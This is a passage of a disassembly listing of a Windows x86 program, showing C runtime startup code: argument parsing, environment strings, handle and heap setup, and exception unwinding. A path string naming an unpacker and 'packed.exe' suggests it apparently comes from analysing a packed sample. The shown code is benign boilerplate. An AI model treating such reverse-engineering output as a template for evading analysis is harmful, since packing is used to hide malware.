		cmp	[edi], bl
		jz	short loc_402E36
		push	ebp


loc_402DFE:				; CODE XREF: sub_402D9F+94j
		push	edi
		call	sub_402210
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_402E2F
		push	ebp
		call	sub_403CB6
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_402E22
		push	9
		call	sub_402934
		pop	ecx


loc_402E22:				; CODE XREF: sub_402D9F+79j
		push	edi
		push	dword ptr [esi]
		call	sub_402720
		pop	ecx
		add	esi, 4
		pop	ecx


loc_402E2F:				; CODE XREF: sub_402D9F+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_402DFE
		pop	ebp


loc_402E36:				; CODE XREF: sub_402D9F+5Cj
		push	ds:dword_406F40
		call	sub_403C87
		pop	ecx
		mov	ds:dword_406F40, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_407444, 1
		pop	ebx
		retn
sub_402D9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E58	proc near		; CODE XREF: sub_40283E+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_407448, ebx
		push	esi
		push	edi
		jnz	short loc_402E6F
		call	sub_403C6B


loc_402E6F:				; CODE XREF: sub_402E58+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	ds:dword_405034	; GetModuleFileNameA
		mov	eax, ds:dword_407458
		mov	ds:off_406F84, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_402E94
		mov	edi, eax


loc_402E94:				; CODE XREF: sub_402E58+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_402EF1
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_403CB6
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_402EC4
		push	8
		call	sub_402934
		pop	ecx


loc_402EC4:				; CODE XREF: sub_402E58+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_402EF1
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_406F6C, esi
		pop	edi
		pop	esi
		mov	ds:dword_406F68, eax
		pop	ebx
		leave
		retn
sub_402E58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EF1	proc near		; CODE XREF: sub_402E58+47p
					; sub_402E58+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_402F1B
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_402F1B:				; CODE XREF: sub_402EF1+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_402F64


loc_402F20:				; CODE XREF: sub_402EF1+58j
					; sub_402EF1+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_402F52
		test	dl, dl
		jz	short loc_402F52
		movzx	edx, dl
		test	ds:byte_407221[edx], 4
		jz	short loc_402F45
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F45
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_402F45:				; CODE XREF: sub_402EF1+46j
					; sub_402EF1+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F20
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_402F20
; ---------------------------------------------------------------------------


loc_402F52:				; CODE XREF: sub_402EF1+36j
					; sub_402EF1+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F5C
		and	byte ptr [esi],	0
		inc	esi


loc_402F5C:				; CODE XREF: sub_402EF1+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_402FA7
		inc	eax
		jmp	short loc_402FA7
; ---------------------------------------------------------------------------


loc_402F64:				; CODE XREF: sub_402EF1+2Dj
					; sub_402EF1+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F6F
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_402F6F:				; CODE XREF: sub_402EF1+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_407221[ebx], 4
		jz	short loc_402F8A
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_402F89
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_402F89:				; CODE XREF: sub_402EF1+91j
		inc	eax


loc_402F8A:				; CODE XREF: sub_402EF1+8Bj
		cmp	dl, 20h
		jz	short loc_402F98
		test	dl, dl
		jz	short loc_402F9C
		cmp	dl, 9
		jnz	short loc_402F64


loc_402F98:				; CODE XREF: sub_402EF1+9Cj
		test	dl, dl
		jnz	short loc_402F9F


loc_402F9C:				; CODE XREF: sub_402EF1+A0j
		dec	eax
		jmp	short loc_402FA7
; ---------------------------------------------------------------------------


loc_402F9F:				; CODE XREF: sub_402EF1+A9j
		test	esi, esi
		jz	short loc_402FA7
		and	byte ptr [esi-1], 0


loc_402FA7:				; CODE XREF: sub_402EF1+6Ej
					; sub_402EF1+71j ...
		and	[ebp+arg_10], 0


loc_402FAB:				; CODE XREF: sub_402EF1+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_403094


loc_402FB4:				; CODE XREF: sub_402EF1+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_402FC0
		cmp	dl, 9
		jnz	short loc_402FC3


loc_402FC0:				; CODE XREF: sub_402EF1+C8j
		inc	eax
		jmp	short loc_402FB4
; ---------------------------------------------------------------------------


loc_402FC3:				; CODE XREF: sub_402EF1+CDj
		cmp	byte ptr [eax],	0
		jz	loc_403094
		test	edi, edi
		jz	short loc_402FD8
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_402FD8:				; CODE XREF: sub_402EF1+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_402FDD:				; CODE XREF: sub_402EF1+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_402FE6:				; CODE XREF: sub_402EF1+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_402FEF
		inc	eax
		inc	ebx
		jmp	short loc_402FE6
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402EF1+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_403020
		test	bl, 1
		jnz	short loc_40301E
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_40300D
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_40300D
		mov	eax, edx
		jmp	short loc_403010
; ---------------------------------------------------------------------------


loc_40300D:				; CODE XREF: sub_402EF1+10Dj
					; sub_402EF1+116j
		mov	[ebp+arg_0], edi


loc_403010:				; CODE XREF: sub_402EF1+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_40301E:				; CODE XREF: sub_402EF1+106j
		shr	ebx, 1


loc_403020:				; CODE XREF: sub_402EF1+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_403035
		inc	ebx


loc_403028:				; CODE XREF: sub_402EF1+142j
		test	esi, esi
		jz	short loc_403030
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_403030:				; CODE XREF: sub_402EF1+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_403028


loc_403035:				; CODE XREF: sub_402EF1+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_403085
		cmp	[ebp+arg_10], 0
		jnz	short loc_40304B
		cmp	dl, 20h
		jz	short loc_403085
		cmp	dl, 9
		jz	short loc_403085


loc_40304B:				; CODE XREF: sub_402EF1+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_40307F
		test	esi, esi
		jz	short loc_40306E
		movzx	ebx, dl
		test	ds:byte_407221[ebx], 4
		jz	short loc_403067
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_403067:				; CODE XREF: sub_402EF1+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_40307D
; ---------------------------------------------------------------------------


loc_40306E:				; CODE XREF: sub_402EF1+162j
		movzx	edx, dl
		test	ds:byte_407221[edx], 4
		jz	short loc_40307D
		inc	eax
		inc	dword ptr [ecx]


loc_40307D:				; CODE XREF: sub_402EF1+17Bj
					; sub_402EF1+187j
		inc	dword ptr [ecx]


loc_40307F:				; CODE XREF: sub_402EF1+15Ej
		inc	eax
		jmp	loc_402FDD
; ---------------------------------------------------------------------------


loc_403085:				; CODE XREF: sub_402EF1+148j
					; sub_402EF1+153j ...
		test	esi, esi
		jz	short loc_40308D
		and	byte ptr [esi],	0
		inc	esi


loc_40308D:				; CODE XREF: sub_402EF1+196j
		inc	dword ptr [ecx]
		jmp	loc_402FAB
; ---------------------------------------------------------------------------


loc_403094:				; CODE XREF: sub_402EF1+BDj
					; sub_402EF1+D5j
		test	edi, edi
		jz	short loc_40309B
		and	dword ptr [edi], 0


loc_40309B:				; CODE XREF: sub_402EF1+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_402EF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030A5	proc near		; CODE XREF: sub_40283E+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_4070A0
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4050D0
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_4030F3
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4030D4
		mov	ds:dword_4070A0, 1
		jmp	short loc_4030FC
; ---------------------------------------------------------------------------


loc_4030D4:				; CODE XREF: sub_4030A5+21j
		call	ds:dword_4050CC	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4031CE
		mov	ds:dword_4070A0, 2
		jmp	loc_403182
; ---------------------------------------------------------------------------


loc_4030F3:				; CODE XREF: sub_4030A5+19j
		cmp	eax, 1
		jnz	loc_40317D


loc_4030FC:				; CODE XREF: sub_4030A5+2Dj
		cmp	esi, ebx
		jnz	short loc_40310C
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4031CE


loc_40310C:				; CODE XREF: sub_4030A5+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_403121


loc_403113:				; CODE XREF: sub_4030A5+73j
					; sub_4030A5+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_403113
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_403113


loc_403121:				; CODE XREF: sub_4030A5+6Cj
		sub	eax, esi
		mov	edi, ds:dword_4050C8
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_403172
		push	ebp
		call	sub_403CB6
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_403172
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_40316E
		push	[esp+18h+var_8]
		call	sub_403C87
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_40316E:				; CODE XREF: sub_4030A5+B9j
		mov	ebx, [esp+18h+var_8]


loc_403172:				; CODE XREF: sub_4030A5+99j
					; sub_4030A5+A8j
		push	esi
		call	ds:dword_4050C4	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4031D0
; ---------------------------------------------------------------------------


loc_40317D:				; CODE XREF: sub_4030A5+51j
		cmp	eax, 2
		jnz	short loc_4031CE


loc_403182:				; CODE XREF: sub_4030A5+49j
		cmp	edi, ebx
		jnz	short loc_403192
		call	ds:dword_4050CC	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4031CE


loc_403192:				; CODE XREF: sub_4030A5+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4031A2


loc_403198:				; CODE XREF: sub_4030A5+F6j
					; sub_4030A5+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_403198
		inc	eax
		cmp	[eax], bl
		jnz	short loc_403198


loc_4031A2:				; CODE XREF: sub_4030A5+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4031B8
		xor	esi, esi
		jmp	short loc_4031C3
; ---------------------------------------------------------------------------


loc_4031B8:				; CODE XREF: sub_4030A5+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_402290
		add	esp, 0Ch


loc_4031C3:				; CODE XREF: sub_4030A5+111j
		push	edi
		call	ds:dword_4050C0	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_4031D0
; ---------------------------------------------------------------------------


loc_4031CE:				; CODE XREF: sub_4030A5+39j
					; sub_4030A5+61j ...
		xor	eax, eax


loc_4031D0:				; CODE XREF: sub_4030A5+D6j
					; sub_4030A5+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4030A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031D7	proc near		; CODE XREF: sub_40283E+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4031F7
		push	1Bh
		call	sub_402934
		pop	ecx


loc_4031F7:				; CODE XREF: sub_4031D7+16j
		mov	ds:dword_407340, esi
		mov	ds:dword_407440, 20h
		lea	eax, [esi+100h]


loc_40320D:				; CODE XREF: sub_4031D7+52j
		cmp	esi, eax
		jnb	short loc_40322B
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_407340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_40320D
; ---------------------------------------------------------------------------


loc_40322B:				; CODE XREF: sub_4031D7+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	ds:dword_4050A4	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_403307
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_403307
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_403261
		mov	esi, eax


loc_403261:				; CODE XREF: sub_4031D7+86j
		cmp	ds:dword_407440, esi
		jge	short loc_4032BB
		mov	edi, offset dword_407344


loc_40326E:				; CODE XREF: sub_4031D7+DAj
		push	100h
		call	sub_403CB6
		test	eax, eax
		pop	ecx
		jz	short loc_4032B5
		add	ds:dword_407440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_40328C:				; CODE XREF: sub_4031D7+CFj
		cmp	eax, ecx
		jnb	short loc_4032A8
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_40328C
; ---------------------------------------------------------------------------


loc_4032A8:				; CODE XREF: sub_4031D7+B7j
		add	edi, 4
		cmp	ds:dword_407440, esi
		jl	short loc_40326E
		jmp	short loc_4032BB
; ---------------------------------------------------------------------------


loc_4032B5:				; CODE XREF: sub_4031D7+A4j
		mov	esi, ds:dword_407440


loc_4032BB:				; CODE XREF: sub_4031D7+90j
					; sub_4031D7+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_403307


loc_4032C1:				; CODE XREF: sub_4031D7+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4032FE
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_4032FE
		test	cl, 8
		jnz	short loc_4032E0
		push	eax
		call	ds:dword_405094	; GetFileType
		test	eax, eax
		jz	short loc_4032FE


loc_4032E0:				; CODE XREF: sub_4031D7+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_407340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_4032FE:				; CODE XREF: sub_4031D7+EFj
					; sub_4031D7+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4032C1


loc_403307:				; CODE XREF: sub_4031D7+65j
					; sub_4031D7+71j ...
		xor	ebx, ebx


loc_403309:				; CODE XREF: sub_4031D7+195j
		mov	eax, ds:dword_407340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_403364
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_403324
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_40332E
; ---------------------------------------------------------------------------


loc_403324:				; CODE XREF: sub_4031D7+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_40332E:				; CODE XREF: sub_4031D7+14Bj
		push	eax
		call	ds:dword_4050D8	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403353
		push	edi
		call	ds:dword_405094	; GetFileType
		test	eax, eax
		jz	short loc_403353
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_403359


loc_403353:				; CODE XREF: sub_4031D7+163j
					; sub_4031D7+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_403368
; ---------------------------------------------------------------------------


loc_403359:				; CODE XREF: sub_4031D7+17Aj
		cmp	eax, 3
		jnz	short loc_403368
		or	byte ptr [esi+4], 8
		jmp	short loc_403368
; ---------------------------------------------------------------------------


loc_403364:				; CODE XREF: sub_4031D7+13Ej
		or	byte ptr [esi+4], 80h


loc_403368:				; CODE XREF: sub_4031D7+180j
					; sub_4031D7+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_403309
		push	ds:dword_407440
		call	ds:dword_4050D4	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_4031D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403382	proc near		; CODE XREF: sub_40283E+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_40508C	; HeapCreate
		test	eax, eax
		mov	ds:dword_407328, eax
		jz	short loc_4033B7
		call	sub_403D2A
		test	eax, eax
		jnz	short loc_4033BA
		push	ds:dword_407328
		call	ds:dword_405090	; HeapDestroy


loc_4033B7:				; CODE XREF: sub_403382+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4033BA:				; CODE XREF: sub_403382+27j
		push	1
		pop	eax
		retn
sub_403382	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033C0	proc near		; CODE XREF: sub_4034B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4033D8
		push	[ebp+arg_0]
		call	sub_404CA6	; RtlUnwind


loc_4033D8:				; DATA XREF: sub_4033C0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4033C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033E0	proc near		; DATA XREF: sub_403402+Ao
					; .text:00403473o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_403401
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_403401:				; CODE XREF: sub_4033E0+10j
		retn
sub_4033E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403402	proc near		; CODE XREF: sub_4034B8+67p
					; sub_4034B8+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4033E0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40341F:				; CODE XREF: sub_403402:loc_40345Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40345C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40345C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40345A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_403496
		call	dword ptr [ebx+esi*4+8]


loc_40345A:				; CODE XREF: sub_403402+44j
		jmp	short loc_40341F
; ---------------------------------------------------------------------------


loc_40345C:				; CODE XREF: sub_403402+2Aj
					; sub_403402+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403402	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4033E0
		jnz	short locret_40348C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_40348C
		mov	eax, 1

locret_40348C:				; CODE XREF: .text:0040347Aj
					; .text:00403485j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_406D8C
		jmp	short loc_4034A0

; =============== S U B	R O U T	I N E =======================================



sub_403496	proc near		; CODE XREF: sub_403402+4Fp
					; sub_4034B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_406D8C
		mov	ecx, [ebp+8]


loc_4034A0:				; CODE XREF: .text:00403494j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_403496	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034B8	proc near		; DATA XREF: sub_40283E+Ao
					; sub_40371C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_403558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4034EB:				; CODE XREF: sub_4034B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40353F
		js	short loc_40354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4033C0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_403402
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_403496
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_40353F:				; CODE XREF: sub_4034B8+40j
					; sub_4034B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4034EB
; ---------------------------------------------------------------------------


loc_40354A:				; CODE XREF: sub_4034B8+54j
		mov	eax, 0
		jmp	short loc_40356D
; ---------------------------------------------------------------------------


loc_403551:				; CODE XREF: sub_4034B8+36j
		mov	eax, 1
		jmp	short loc_40356D
; ---------------------------------------------------------------------------


loc_403558:				; CODE XREF: sub_4034B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_403402
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_40356D:				; CODE XREF: sub_4034B8+97j
					; sub_4034B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4034B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_403402
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_403590	proc near		; CODE XREF: sub_402934+9p
					; sub_402959+9p
		mov	eax, ds:dword_406F48
		cmp	eax, 1
		jz	short loc_4035A7
		test	eax, eax
		jnz	short locret_4035C8
		cmp	ds:dword_406AD4, 1
		jnz	short locret_4035C8


loc_4035A7:				; CODE XREF: sub_403590+8j
		push	0FCh
		call	sub_4035C9
		mov	eax, ds:dword_4070A4
		pop	ecx
		test	eax, eax
		jz	short loc_4035BD
		call	eax


loc_4035BD:				; CODE XREF: sub_403590+29j
		push	0FFh
		call	sub_4035C9
		pop	ecx

locret_4035C8:				; CODE XREF: sub_403590+Cj
					; sub_403590+15j
		retn
sub_403590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035C9	proc near		; CODE XREF: sub_402934+12p
					; sub_402959+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_406DA0


loc_4035DC:				; CODE XREF: sub_4035C9+20j
		cmp	edx, [eax]
		jz	short loc_4035EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset byte_406E30
		jl	short loc_4035DC


loc_4035EB:				; CODE XREF: sub_4035C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_406DA0[esi]
		jnz	loc_403719
		mov	eax, ds:dword_406F48
		cmp	eax, 1
		jz	loc_4036F3
		test	eax, eax
		jnz	short loc_40361C
		cmp	ds:dword_406AD4, 1
		jz	loc_4036F3


loc_40361C:				; CODE XREF: sub_4035C9+44j
		cmp	edx, 0FCh
		jz	loc_403719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	ds:dword_405034	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_403653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_402720
		pop	ecx
		pop	ecx


loc_403653:				; CODE XREF: sub_4035C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_402210
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_403696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_402210
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_404600
		add	esp, 10h


loc_403696:				; CODE XREF: sub_4035C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_402720
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_402730
		lea	eax, [ebp+var_A0]
		push	offset asc_4053E8 ; "\n\n"
